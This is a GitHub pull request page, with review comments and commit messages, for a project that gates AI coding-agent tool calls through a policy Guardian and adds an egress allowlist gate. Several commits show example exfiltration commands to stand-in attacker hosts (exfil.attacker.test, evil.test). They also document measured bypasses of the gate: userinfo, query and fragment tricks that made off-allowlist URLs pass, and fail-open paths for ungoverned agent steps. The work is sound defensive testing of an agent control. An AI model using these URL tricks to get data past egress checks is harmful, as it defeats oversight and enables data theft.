Skip to content

V9: A second tool shape, and the egress gate - #30

Merged
afogel merged 23 commits into
slice/v8from
slice/v9
Sep 6, 2026
Merged

V9: A second tool shape, and the egress gate#30
afogel merged 23 commits into
slice/v8from
slice/v9

Conversation

@afogel

@afogel afogel commented Aug 17, 2026

Copy link
Copy Markdown
Owner

Closes #28

Stacked on slice/v8. Review the diff against that base, not main. Slice 9 of 10.

What this slice is for

Turn on a fourth AGT stock gate class, and — the part that actually costs something — make this deployment able to govern more than one tool shape.

What a reviewer is looking at

Planning only: the spike, the shaped parts, the breadboard, and slices/v9/README.md's frozen names. No V9 implementation yet.

Two claims this branch inverts

Egress is not a mapping problem — it is already mapped. egress.rego's first default destination path is snapshot.tool_call.args.url, and assemblePreToolCallSnapshot already unwraps ACS arguments.url.value to exactly that. Measured against the unforked bundle, one data.json key, no code, no Rego:

Envelope Verdict
arguments.url.value = "https://docs.anthropic.com/x" allow
arguments.url.value = "https://exfil.attacker.test/steal" deny egress_destination_not_allowed

That is the strongest form of R2.1 in the project, and it had been filed as work.

So the code here is not what makes egress work. AGT's manifest.schema.json defines intervention_point with additionalProperties: false and exactly one policy_target. The shipped $.tool_call.args.command denies a benign WebFetch call with runtime_error:path_missing before any rule runs. It has never bitten because .claude/settings.json matches ^Bash$ — one tool, one argument name.

The defect this branch creates and closes

mapping.yaml's into_argument: command is a literal. Measured through the shipped mapVerdict, the moment the matcher widens:

{ "decision": "modify",
  "modifications": { "parameter_overrides": { "command": "https://docs.anthropic.com/?t=[REDACTED]" } } }

A redaction emitted against an argument WebFetch does not have, while url — still carrying the token — is delivered untouched. Same family as risk rows 15 and 17, reached from a third direction. N54 makes the target argument and the override argument one declaration read twice, because two would disagree.

Scope boundary, measured rather than cautious

Only the request gate's matcher widens. PostToolUse declares outputs.from: $.tool_response.stdout; a fetch result has no stdout, so resolvePath answers undefined, buildPayload throws, and under the shipped proceed posture the step runs ungoverned with an audit event. No stock gate reads a fetch's output, so widening it buys nothing and costs a fail-open.

The general form — a hookmap declares outputs.from once per hook exactly as the manifest declared policy_target once per point — is risk row 24 and is explicitly unassigned.

Found while breadboarding

S17 (.claude/settings.json, hosts/claude-code/settings.json) is new to this project's breadboard, and its absence is the finding: the file deciding which tools reach the shim at all has never had an affordance, which is how a one-tool deployment survived eight slices unnoticed.

Slice notes: slices/v9/README.md.

https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr

@afogel afogel left a comment

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sandi Metz review — V9 (implemented)

Verdict: With fixes. The freeze’s nouns landed: annotateEgressDestination / annotate-egress.ts, policy_target_argument with default/by_tool, into_argument gone from the type and the YAML, acs_policy_target that collides loudly, resolvePolicyTargetArgument(mapping, point, toolName) told a name not an envelope, annotator total, createDeploymentBridge one recipe off the governance barrel, cfg.egress allowlist, policy/lib/*.rego untouched.

Live debt: the annotator still walks a preliminary bag, the shared assemble callback asks the result gate a pre-only question, twin resolvers disagree on argument order, commitment 2 still cites into_argument as a living twin, and conformance still invents the snapshot the assembler already knows how to build.

Stack (all nine slices): Hosts tell governStep; Inspector tails files; conformance imports the runtime and now tells createDeploymentBridge. Remaining cross-stack names: GovernStepInput.session still means handshake config. V6–V8 residuals from the last pass are unpaid and not re-filed here.

* this function is the one annotator this Guardian has, and routing by name is
* its caller's job.
*/
export function annotateEgressDestination(_name: string, _config: unknown, preliminary: unknown): unknown {

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Metz · Important · messages over bags] The freeze promised {destination} or {}. The type says unknown. The body then asks a nested preliminary document for snapshot.tool_call.{args,raw_command}.

name and config are unread by design. The real message is “given a command line and args, answer a destination.” Walking AGT’s bag is Ask.

Reshape: keep a thin AGT-shaped adapter. Tell a pure collaborator annotateEgressDestinationFromToolCall({ rawCommand, args }) that returns DestinationAnswer, not unknown. The adapter unwraps once; the core never sees preliminary.

* module stands down for needlessly. The shipped `policy/lib/data.json` sets no
* such key. A deployment that sets one has to revisit this list.
*/
const ARGUMENTS_AGT_ALREADY_READS = ["url", "endpoint", "host", "domain"] as const;

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Metz · Important · SRP] This module owns command→origin extraction and a hand-copied model of four paths egress.rego already reads. The comment says the list desynchronises the day cfg.egress.destination_paths is set.

Two change reasons in one file. The freeze’s job for this module is extraction.

Reshape: a collaborator standDownWhenGateAlreadyHasDestination(args) (or inject the path list). Leave annotate-egress.ts as extraction-only.

raw: unknown,
envelope: E,
assemble: (envelope: E, sourceLabels: IfcLabels) => GuardianSnapshot,
assemble: (envelope: E, sourceLabels: IfcLabels, policyTargetArgument: string | undefined) => GuardianSnapshot,

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Metz · Important · tell don’t ask] The comment above admits the result-gate assembler takes two parameters and is assignable because TypeScript ignores the third. So every post-tool-call step is told a policyTargetArgument it must ignore.

One shared callback became a bag of “whatever pre needs.” The generic correctly ties envelope to assembler; it does not have to ask post a pre-only question.

Reshape: two evaluate helpers, or a discriminated assemble message ({ gate: "pre", policyTargetArgument } vs { gate: "post" }), so post is never asked.

* reason `resolveInterventionPoint` throws rather than defaulting -- a mapping
* that cannot answer must say so rather than guess.
*/
export function resolvePolicyTargetArgument(

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Metz · Important · naming symmetry] Twin “resolve X from mapping” verbs disagree on argument order: resolveInterventionPoint(acsMethod, mapping) vs resolvePolicyTargetArgument(mapping, point, toolName).

Detail C invents a third: resolvePolicyTargetArgument(toolName, mapping, point) (docs/shaping/acs-reference-impl-shaping.md N54). Slices/README match this file; shaping does not.

Also: PolicyTargetArgument stays unexported while the resolver is on the barrel. Callers can tell the verb and cannot name its table.

Reshape: one convention, always (mapping, …keys). Fix N54. Export the table type beside the resolver.

| N26 | P3 | guardian | `createEnvelopeLogSink()` → `sink.write()` — ⚠️ **total**: never throws, never alters a decision. Records the request *before* validation | call | → S6 | — |
| N27 | P3 | guardian | `denyOnInvalidEnvelope()` — schema or bridge failure returns an explicit ACS `deny` **decision**, not a bare error, so the host honors it instead of falling back to posture | call | → N26 | → N4, → N13 |
| N28 | P3 | guardian | `buildServerHello()` — ServerHello: `negotiated_version`, `methods_evaluated`, `selected_transport`, `timeout_config`, `on_decision_failure`. **`methods_evaluated` is the load-bearing one and V4 is what made it so**: it is exactly the set of methods this Guardian dispatches — both `steps/*` gates since V4 added the result one — and it is *checked against the dispatch* rather than trusted, because both directions are wrong and neither is cosmetic. A method declared here that no branch answers claims enforcement that does not exist; a method omitted tells a conformant client, in `handshake.json`'s own words, to treat that gate as ALLOW-by-default. `test/handshake-declares-what-it-evaluates.test.ts` derives the truth from a live Guardian. There is no `profiles_accepted` — this responder never shipped one | call | → N26 | → N5, → N14 |
| N54 | P3 | guardian | 🟡 `resolvePolicyTargetArgument(toolName, mapping, point)` — the argument name this tool's policy target is read from and written back to. **One declaration read twice**: N23 uses it to fill the normalised snapshot leaf, N24 uses it to name the `parameter_overrides` key, and a `transform` therefore lands on the argument the call actually carries. It replaces `mapping.yaml`'s `into_argument` literal, which named `command` for every tool and would emit a `WebFetch` redaction against an argument `WebFetch` does not have — measured, and the same reported-applied-but-delivered-original family as risk rows 15 and 17 | call | → N23, → N24 | — |

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Metz · Important · public API vocabulary] Shipped signature is (mapping, point, toolName). This row writes (toolName, mapping, point).

Three spellings of one affordance. The code, slices/v9/README.md commitment 5, and this table should say the same sentence.

Reshape: copy the shipped order. Do not invent a third.

Comment thread slices/v9/README.md

1. **Nothing this slice builds is named `egress` alone.** The annotator is `annotateEgressDestination()` (N55) and the file that holds it is `annotate-egress.ts`. `egress.ts`, `Egress`, and a bare `egress` export are not available: they name AGT's gate, which this repository vendors byte-identical and does not author.

2. **The declaration in `mapping.yaml` is `policy_target_argument`, with members `default` and `by_tool`.** The echo of AGT's own `policy_target` is deliberate and is the file's whole job: the manifest's `policy_target` and this table name the same leaf in two dialects, exactly as `into_argument` and `into_path` already do for the two gates. A third noun would hide that they are one fact.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Metz · Important · naming symmetry] Commitment 3 removes into_argument. Commitment 2 still says the echo works “exactly as into_argument and into_path already do for the two gates.”

After this slice, the request gate has no into_argument. The living twins are manifest policy_target and mapping policy_target_argument (plus result-gate into_path). Citing a removed field as the pattern hides that.

Reshape: amend commitment 2 the way commitment 6 was amended: the echo is policy_targetpolicy_target_argument. into_path stays the result-gate sibling. into_argument is history.

@@ -75,7 +80,19 @@ const MAPPING_PATH = "mapping.yaml";
* finding, not the no-rewrite case a benign fixture would report instead. */
const PRE_TOOL_CALL_SNAPSHOT: InterventionSnapshot = {

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Metz · Important · tell don’t ask] V9 taught this replica a second leaf and a raw_command. The comments name assemble-snapshot.ts as the thing that writes both — then this file writes them by hand.

createDeploymentBridge was the right recipe for the bridge: one function, so the harness cannot measure a replica. The snapshots did not get that recipe. Same construction is copied again in policy-input-schema.ts.

Reshape: tell assemblePreToolCallSnapshot / assemblePostToolCallSnapshot. A probe envelope plus resolvePolicyTargetArgument is the message; a literal InterventionSnapshot is the bag.

The claim under investigation was that ACS carries what AGT's egress and
content_hash gates need, at an address neither side reads. Measured against
the pinned bundle rather than read from AGT's docs, and both halves of that
claim came back changed.

Egress is not a mapping problem. egress.rego's first default destination
path is snapshot.tool_call.args.url, and assemblePreToolCallSnapshot already
lands ACS arguments there, so for a url-bearing tool the gate fires from one
data.json key with no code and no Rego -- the strongest form of R2.1 in the
project, filed until now as work.

Content_hash is reachable, and the claim is weaker than "different address":
ACS puts the integrity digest on a skill and AGT's gate is about a tool, a
split the AgBOM makes explicit. What survives is that hooks/skill-load.json
describes, clause for clause, the deny content_hash.rego implements.

Three findings neither half anticipated, each pinned in the spike:

- The manifest's single policy_target denies a benign call outright with
  runtime_error:path_missing for any tool without a `command` argument.
  AGT's intervention_point is additionalProperties: false, so governing a
  second tool shape is code before it is policy.
- mapping.yaml's into_argument is a literal, so the moment the matcher
  widens, a redaction is emitted against an argument the tool does not have
  while the original ships. Risk rows 15 and 17's family, third arrival.
- A manifest declaring an annotator the Guardian dispatches nothing for is a
  total deny with a runtime-error reason, benign calls included.

Splits into V9 (the second tool shape and both egress routes) and V10
(steps/skillLoad driving content_hash). Closes D3 and R5.4, answers R8.3 by
building it, and corrects a denominator this commit first got wrong: 22 is
every hook payload schema, 19 is the steps/* subset R5.4 asks about, so V1's
count stands and the claim is three of nineteen.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
Detailing V9's parts into affordances against the shipped code, rather than
against the shape, turned up two things the shape could not have.

S17 is new and its absence is the point: .claude/settings.json and
hosts/claude-code/settings.json decide which tools reach the shim at all
("matcher": "^Bash$"), and neither has ever appeared in this breadboard.
Every affordance downstream assumes a governed call and nothing said which
calls those are, which is how the one-tool limit survived to V9 unnoticed.
OpenCode has no counterpart -- its plugin registers for every tool and scopes
in the hookmap instead -- so the same fact lives in a different kind of place
per host.

The result gate carries the request gate's one-shape assumption one layer
out, and nothing answers it. A hookmap declares outputs.from once per hook
exactly as the manifest declared policy_target once per point. Measured:
$.tool_response.stdout against a WebFetch result resolves to undefined,
buildPayload throws, and under the shipped proceed posture the step runs
ungoverned with an audit event. So V9 widens the PreToolUse matcher and not
PostToolUse's -- no stock gate reads a fetch's output, so the result gate
buys nothing and costs a fail-open. The general close is risk row 24 and is
explicitly unassigned.

Also records what N54 replaces: path-dialects.test.ts derives into_argument
from the manifest's policy_target, and under a normalised leaf that
derivation yields the leaf's own name. It splits into the two agreements
that are load-bearing now, the second of which can only check that a
by_tool argument's tool is registered -- the same limit V8 measured for
hookmap tools entries, for the same reason.

No new UI, stated as the right answer rather than an omission: a deny is a
deny, and U21 already renders whatever reason_codes comes back.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
Same collision V8 had, same shape: `egress` is already spent. It is AGT's
stock gate (policy/lib/egress.rego), its config key (cfg.egress), its reason
(egress_destination_not_allowed) and its allowlist fallback
(input.tool.security_labels). What this slice builds is a Guardian-side
extractor that feeds that gate, and left to implementation time the first
file is called egress.ts and is read as the gate.

Eight commitments, none of them describing measured V9 behaviour because
there is none yet. The load-bearing ones: into_argument is removed rather
than kept beside the new table, because two declarations of one fact are two
things that can disagree; the synthetic snapshot leaf is acs_policy_target
and fails loudly rather than shadowing a real argument; and the annotator
answers {} rather than throwing, because a command it cannot parse is a
deliberate miss and must read as one.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
…eral, an untrue fixture value, and an overclaiming cast

- mapping.yaml: the post_tool_call comment claimed a request-gate agreement
  with policy/manifest.yaml that no longer exists, and called itself the
  "SECOND" of two places when it is now the only one; rewritten to say the
  result gate is the only remaining direct agreement between the two files,
  and that the request gate's own agreement is now with assemble-snapshot.ts's
  POLICY_TARGET_LEAF constant instead.
- Replaced the hand-typed "acs_policy_target" object key with the imported
  POLICY_TARGET_LEAF constant at every site where importing it costs nothing:
  test/ifc-round-trip.test.ts, test/redaction.test.ts,
  packages/conformance/src/main.ts, packages/conformance/src/policy-input-schema.ts,
  packages/conformance/test/identity.test.ts, and
  packages/guardian/test/assemble-snapshot.test.ts (which already imported it).
  Left packages/agt-bridge/test/bridge.test.ts's literal alone: agt-bridge has
  no dependency on guardian (guardian depends on agt-bridge, not the reverse),
  so importing the constant there would add a backward package edge.
- packages/guardian/test/map-verdict.test.ts: the "never emits both shapes at
  once" loop passed "command" for post_tool_call too, a value
  resolvePolicyTargetArgument could never return there since the shipped
  mapping declares no policy_target_argument for that point. Now passes
  "command" only for pre_tool_call and undefined for post_tool_call.
- packages/guardian/test/server.test.ts: postToolCallRequest returned
  `response.result as unknown as AcsDecision`, asserting an identity that
  wasn't true (the JSON-RPC result is an AcsFinalResult, not an AcsDecision).
  Typed it as AcsFinalResult, which is what the result actually is.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
Adds raw_command?: string to the request-side hookmap entry and to
AcsToolCallRequestPayload, plus raw_command?: never to both the
result-side hookmap entry and AcsToolCallResultPayload (the latter is
not spelled out in this slice's brief but is needed for the same
reason arguments/outputs/exit_status already are: it keeps the
payload's exclusive union exclusive, so a union access reads as
`string | undefined` on both shapes without a cast).

buildEnvelope's request branch resolves the hookmap's raw_command path
and carries it onto the payload only when it resolves to a string --
omitted, never a throw, since a tool with no shell command (WebFetch)
resolves this path to nothing on every call and a hookmap without a
raw_command declaration is already legal. The result branch refuses a
hookmap that declares raw_command beside outputs, since a result
payload has no member for it.

Both shipped hookmaps now declare the path: claude-code.hookmap.yaml
at $.tool_input.command, opencode.hookmap.yaml at $.args.command. The
claude-code hookmap's comment corrects an inherited claim about AGT's
host_of(): its "://" branch does discard a curl prefix, but its other
branch returns any command's own leading word, so a forwarded command
line always resolves a destination and every benign shell step would
be denied -- the reason the egress annotator exists instead.

No wire-shape test pins an exact hook-entry key set, so neither
host's own pinned-output tests needed a change.
…dispatcher as optional

`policy/lib/data.json` gains one key -- `cfg.egress.allowlist` -- and AGT's stock
egress gate goes live. No Rego authored, no `.rego` file touched; `bun run
verify:pin` byte-diffs every one of them against the pinned upstream clone and
passes.

`policy/manifest.yaml` declares the `egress` annotator that feeds the gate's
`["annotations", "egress", "destination"]` path, wired from
`$.tool_call.raw_command` -- the one snapshot member the assembler guarantees is
always present. `startGuardian` now supplies `dispatchGuardianAnnotator`
unconditionally: omitting the `annotator` option no longer means "no annotator",
it means the built-in one.

That last change is not a convenience. A manifest declaring an annotator,
evaluated by a bridge built with no dispatcher, denies EVERY call in the
deployment -- benign ones included -- with `runtime_error:annotation_failed`, a
total deny wearing a reason that reads like a policy decision. So every
construction of a bridge against the shipped manifest had to gain one, including
two production call sites in the conformance runner
(`packages/conformance/src/main.ts`, `src/upstream-watch.ts`) that would
otherwise have reported their own misconfiguration as a finding. `bun run
conformance` was run and is clean.

`allowlist` is set explicitly for a second measured reason: absent, AGT's
`allowlist(rules)` falls back to `input.tool.security_labels`, which is
`["shell"]` on every tool this manifest registers, and every destination is
denied.

BEHAVIOUR CHANGES, not adjusted assertions:

- The request gate now has a fourth deny class, above `patterns` in AGT's
  priority chain. A shell command whose `raw_command` names a host outside the
  allowlist denies on `egress_destination_not_allowed` where it previously
  reached the destructive-pattern check.
- `annotations.<name>.from` is a liveness precondition: unresolved, AGT denies
  the whole call on `runtime_error:path_missing` before the annotator is
  dispatched. Nine hand-built snapshot fixtures across four test files and two
  conformance source files stood in for the assembler's output without carrying
  `raw_command`; each now carries it, which is what a real snapshot has always
  had.
- `policy/manifest.drift.yaml` moves its `policy_target` and its annotation
  `from` off `$.tool_call.args.command` to the shared normalised leaf. It
  resolved for Bash only because the assembler leaves each tool's own arguments
  beside the leaf, so the first non-shell tool run against the drift demo would
  have been denied silently.

Two pre-existing assertions were strengthened rather than relaxed, because both
would have gone on passing for the wrong reason: a dispatcher-less bridge also
answers `deny`, so `expect(verdict.decision).toBe("deny")` alone no longer
distinguishes a rule firing from evaluation failing. Both now pin the reason.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
…o something

Two structural gaps from review, both in code that already behaved correctly.

THE RECIPE EXISTED IN SEVEN PLACES. `createBridge(manifest, { annotator:
dispatchGuardianAnnotator })` was written out in the Guardian and in six
external callers. Declare a second annotator, or take another `createBridge`
option, and the Guardian gets it while six replicas do not -- and the
conformance harness silently resumes measuring something that is not the
shipped deployment, which is the exact hazard those call sites were edited to
avoid.

New module `packages/guardian/src/deployment-bridge.ts` owns
`dispatchGuardianAnnotator` (moved off `server.ts`) and exports
`createDeploymentBridge(manifestPath, annotator?)`. `startGuardian` calls it
rather than assembling a bridge itself, and all six external callers construct
a bridge through it instead of importing a dispatcher and hand-assembling one.
`packages/conformance/src/main.ts` in particular now gets its measured bridge
and its live Guardian from the same function.

`packages/guardian/package.json` publishes it at `guardian/deployment` -- the
narrow subpath export `src/index.ts`'s own header already prescribes for a
non-barrel symbol needed outside the package. The barrel is untouched and stays
governance verbs only. The map is enforced, not decorative: `guardian/src/-
server.ts` no longer resolves at all, so the deep-import route is closed rather
than merely discouraged.

Splitting the module also stops a caller that only wants a bridge from loading
the HTTP server, its schema registry and its envelope log to get one.

`policy/manifest.drift.yaml` WAS PINNED BY NOTHING. No code in this tree builds
a bridge or a Guardian on it; its only invocation is a code block inside a
runbook, which is documentation and is never executed. Moving its
`policy_target` and its annotation `from` onto the normalised leaf was
therefore backed by nothing the suite could detect, in either direction, and a
regression would surface as a total deny in a live demo rather than as a red
test.

`packages/guardian/test/server.test.ts` now starts a real Guardian on that
manifest with the runbook's own constant-score annotator stub and posts a call
from a tool that sends no `command`. Mutation-tested: pointing the manifest's
two paths back at `$.tool_call.args.command` fails it on exactly
`runtime_error:path_missing`. That required registering `WebFetch`/`webfetch`
in the drift manifest -- without it the call denies on
`runtime_error:tool_unknown` first and the test passes vacuously -- which also
makes that demo able to govern a non-shell tool at all.

Also, all in files already open:

- Two `rm -rf /` fixtures had become decorative: once both pinned
  `ifc_clearance_violation`, the identical assertion would have passed for
  `echo hi`. Both now carry the `["public"]` label a real session seed
  supplies, so they pin `destructive_shell_command_blocked` and the fixture
  earns its name again.
- `docs.example.com` is now explained where the rest of the allowlist
  reasoning lives, since JSON carries no comments: a deliberately inert second
  entry proving the allowlist is a list, with no test depending on it.
- The WebFetch redaction test's green depends on `*.anthropic.com` being
  allowlisted -- an egress deny outranks a redact transform -- which is now
  written down there rather than left to be rediscovered as a confusing
  failure.
- "these labels are read by nothing" now carries its own condition; it is the
  sentence someone will quote when deleting the labels.
- The `annotator` option no longer names a caller absent from the source tree;
  it names the runbook where that code block actually lives.
- Dropped the last unverifiable ordinal from `annotate-egress.ts`'s header.
- `server.test.ts` gets its missing trailing newline.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
Widens host #1's PreToolUse matcher to ^(Bash|WebFetch)$ in both
.claude/settings.json and hosts/claude-code/settings.json (still
byte-identical), leaving PostToolUse anchored at ^Bash$: a WebFetch
result carries no stdout, so widening it would buy a fail-open in
exchange for nothing no stock gate reads. Widens host #2's request
gate tools list to [bash, webfetch] in
hosts/opencode/opencode.hookmap.yaml, with the result gate staying
[bash]. Rewrites the eight comments (plus one authorised path fix in
packages/agt-bridge/test/bridge.test.ts) that described host #1's two
gates as scoped identically by one matcher -- they no longer are.

Step 1's live measurement: started a Guardian on a scratch port
(8788, separate from the one already governing this session on 8787)
and drove a real `opencode run` against the actual hosts/opencode/
acs-plugin.ts with a local stub model emitting a webfetch tool call.
The logged envelope's params.payload.arguments carried {"url": {...},
"format": {...}} for both a denied non-allowlisted destination and an
allowed one (docs.anthropic.com, which the plugin's real webfetch
tool then actually fetched) -- confirming "url" live, on the wire,
from a real host. mapping.yaml's existing by_tool.webfetch: url row
needed no change.

Found and worked around a confound rather than hiding it: the Guardian
already running on :8787 for this session predates this slice's own
manifest.yaml/assemble-snapshot.ts changes (started before Task 1's
commit), so the first attempt against it denied on the stale
pre-migration policy_target instead of evaluating the current egress
rule. Did not stop or restart that Guardian; started a disposable
second instance instead, which is now shut down.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
…fied

Every block in docs/demos/v9-runbook.md comes from a Guardian started from
16a3ab0 on port 8791 -- its own port, never the long-lived one, which holds a
pre-slice manifest and would have shown pre-slice behaviour. All ten wire
responses were re-run against a second Guardian process and diffed: identical.
Every other block (the OPA host_of measurements, AGT's own policy input, the
pre-slice mapVerdict comparison, the data.json diff, the policy/ diffstat,
verify:pin) was re-run at the end and compared byte for byte against what the
file says. The only field a re-run does not reproduce is verify:pin's
wall-clock duration, and the runbook says so.

The V3 drift capture was re-run because this slice moved that manifest's
policy_target onto the shared leaf. THE VERDICT MATCHED: allow, drift_detected,
agt_stock -- exactly what V3 captured, so no V3 capture was re-taken. One field
of the response did change, and not because of this slice: `reasoning` is now
composed through mapping.yaml's field_synthesis template, which landed in
1534a59, after V8 and before V9. A correction note beside V3's capture records
both halves and carries the new block.

Six corrections amended into the shaping doc, each measured rather than
reasoned about:

- An annotator's `from` is a liveness precondition, not a projection. An
  unresolvable one denies the whole call with the annotator never dispatched;
  `from` is a required field; the dispatcher receives AGT's whole preliminary
  policy input, never the resolved value. All three measured here. This is why
  raw_command is on every request snapshot.
- The guardian_only/expressed matrix-cell claim is not implementable. The
  matrix is 8 points x 5 verdicts read off the SDK's own consts, with no
  coordinate for a gate class or a route, and pre_tool_call x deny already
  resolved expressed. The distinction is real; the cell is not. Retracted in
  three places, including risk row 22.
- "V9 touches packages/conformance not at all" is false. No cell is added and
  neither axis moves -- that half stands -- but declaring an annotator forced
  every bridge construction, including two production files there, through one
  createDeploymentBridge behind a declared guardian/deployment subpath.
- Two destination paths resolving to different strings are
  runtime_error:policy_invocation_failed, not a priority order. Measured, with
  the same-value case measured beside it. Risk row 25.
- The demo matrix is eight rows measured on the manifest this slice ships,
  replacing two partial tables.
- host_of("curl https://evil.test/x") answers evil.test, not "curl https". The
  three real reasons extraction is needed are now stated where the wrong
  mechanism was.

Three staleness sites corrected in prose only, no capture touched: README's
anchored-matcher paragraph (PreToolUse is now ^(Bash|WebFetch)$, PostToolUse
still ^Bash$, five registered tools), README's ACS_MANIFEST_PATH row (the
default manifest now declares an annotator), and v5-runbook's both-gates-are-
tools:[bash] paragraph (the symmetry survives; the asymmetry moved from between
the hosts to between each host's two gates).

What is not closed is now in the section's own text rather than only in the
risk table: the extractor's miss direction, the result gate's one-shape
assumption which stays unassigned, and that the by_tool registry check is
existence-only -- it can say a tool is registered, never that it takes a given
argument.

bun test 976 pass / 1 skip / 0 fail across 66 files, unchanged from the
baseline. typecheck clean. verify:pin 5 pass. conformance clean, all six legs
RAN.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
…heck

Review found three false sentences and one method fault. All four fixed here,
documentation only.

The one that was this task's own: the correction of the host_of() mechanism
ended "so no copy of the wrong mechanism survives in the tree", and a copy did
-- docs/shaping/spike-unreached-gates.md A3, which is the document this slice
sends readers to for its measurements. A false sentence inside the correction of
a false sentence. A3 now carries a retraction in the shape this doc set already
uses: the old sentence quoted, the five OPA rows measured beside it, the two
things that actually break, and a pointer to the amended argument. The
"no copy survives" claim is replaced by one that names what was swept:
`git ls-files | xargs grep -l host_of` returns eight files, two are the vendored
upstream bundle, the other six were each read. The old sentence still occurs
three times across the shipped docs and every one is now a quotation inside a
retraction rather than a statement.

README's V4 paragraph said the redaction reaches the model unexplained because
mapping.yaml sources reasoning from verdict.message. Since 1534a59 it composes a
template plus a per-rule summary, and the v9 runbook this branch just added
publishes the composed sentence -- so the shipped doc set contradicted itself
with a capture of its own. The half that is still true survives and is now the
headline: AGT's redact rule emits no message of its own, so the explanation the
model reads is composed on this side, rule named and attributed, with no detail
clause because there was nothing to attribute.

v5-runbook's fixed-policy_target sentence is scoped to when that slice shipped
rather than rewritten, with an amendment beneath it: the mechanism it explains is
unchanged -- one fixed target per point, resolved before any rule -- and what
moved is which leaf it names. Prose only; no capture in that file touched.

And the method fault, which is the fairest of the four: the script that checked
every captured block was deleted after it ran, turning a proof into a score. It
is not re-created. The runbook gains a "How to check these captures" section
instead: the Guardian invocation and port, the fact that its envelope sink
records both directions at the log path the setup block already names, and the
one command that makes the log a check rather than an echo --

  jq -c 'select(.direction == "response") | .envelope' .acs/v9-runbook.jsonl \
    | sort -u | jq .

Run the ten requests any number of times and the distinct response count must
stay at ten, because every field that varies run to run is fixed in the request
bodies. Writing this file that log reached 120 lines, 60 request/response pairs,
ten distinct responses, each byte-identical to a block above it.

bun test 976 pass / 1 skip / 0 fail across 66 files, unchanged. typecheck clean.
Both `git diff be5ab38..HEAD` blocks re-run and still byte-identical, and the
five-row host_of block re-measured and byte-identical in all three documents that
now carry it.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
… is not

The final whole-branch review found two measured behaviours of the now-live
egress gate that no document stated, and some prose citing a guarantee this
branch broke. One fix wave, no re-tuning of the shipped configuration, and no
`.rego` touched -- `bun run verify:pin` still passes.

A URL whose userinfo carries a colon reads to `egress.rego`'s `host_of()` as
the userinfo's own host: measured through the OPA the pinned SDK ships,
`host_of("https://docs.anthropic.com:pw@exfil.attacker.test/steal")` is
`docs.anthropic.com`, which `*.anthropic.com` covers. Against the shipped
allowlist that URL was allowed on BOTH routes. This is worse than the miss
direction already published -- there the extractor never finds the URL, here it
finds it correctly and the gate mis-parses it, so a reader who has absorbed
"misses are allows" still wrongly believes a URL that reaches the gate was
decided about.

Only one half is closable from this side, and the asymmetry is now stated
everywhere it matters. `annotateEgressDestination` chooses the string it hands
the gate for a `raw_command`, so it strips any userinfo before answering and
the gate resolves the host the request actually reaches -- measured, deny with
`destination exfil.attacker.test not in allowlist`. It also stops the inverse
false positive, where an allowlisted host wearing a userinfo prefix was denied
for a host nobody would be reached at. A fetch's own `url` is the gate's FIRST
declared destination path and reaches `host_of()` with nothing in between;
correcting that would mean editing AGT's file, which is this branch's central
claim. Published as a measured limitation instead, with both routes' verdicts
captured from a real run.

The second measured behaviour is the opposite direction. With one reachable
allowlist entry, every shell command whose text merely CONTAINS an off-allowlist
URL is denied -- `git clone`, `pip install -i`, and a bare `echo` that reaches
nothing. Neither re-tuning is available: widening the allowlist edits a file
every capture is measured against, and narrowing the extractor to tell "reaches"
from "mentions" means parsing shell, which fails in the permissive direction
when it is wrong. So the direction is published where an operator meets it --
the README's install step, before the hook is turned on -- and captured in the
runbook.

Three comments presented `scripts/verify-zero-diff.sh` as a live guarantee. It
is not: this branch edited a file under its frozen pattern, the script exits 1
from this HEAD, and no workflow runs it. Re-scoped to the past tense the same
way an earlier runbook already was -- the freeze proved a claim at the commit it
was written at, and what holds today is the test itself. The v7 runbook's
captured failure of that script is scoped rather than re-taken: its message was
rewritten, the line it cites moved, and the frozen set is longer.

Also: the `PostToolUse` hookmap entry now carries, at the declaration itself,
the measured chain that makes widening its matcher unsafe -- a fetch result has
no `stdout`, the payload builder throws, and under the shipped `proceed` the
step runs ungoverned. `.claude/settings.json` is JSON and cannot say it.

Smaller: `govern-step.ts`'s two possessives no longer garden-path; the
stand-down list's doc comment names its coupling to `cfg.egress.destination_paths`,
which replaces the gate's defaults outright; risk row 25's "closed structurally"
is narrowed to the one conflict the annotator actually closes; and the Guardian
package drops `main`/`types`, dead under `exports`, and declares the
`./package.json` subpath some tooling reads.

Claude-Session: https://claude.ai/code/session_019qZbQWyJHrYG7UodpyKjYr
…ious

The userinfo strip added in the last commit read a query or a fragment as part
of the authority, because it bounded the authority at "/" alone. RFC 3986 ends
an authority at the first of "/", "?" or "#", and the character class this
module matches URLs with admits both of the ones I forgot.

So on a path-less URL, an "@" inside a query or fragment was taken for a
userinfo delimiter and everything before it discarded. Measured through a
Guardian started from this tree at the previous commit, against the shipped
allowlist: `curl https://evil.test?x=a@docs.anthropic.com` and
`curl https://evil.test#a@docs.anthropic.com` were both ALLOWED, where both
were denied before the strip existed. `curl -w '%{url.host}'` resolves
`evil.test` for both. That is the exact bypass class the strip was written to
close, re-opened by the normalisation meant to close it -- and it made the
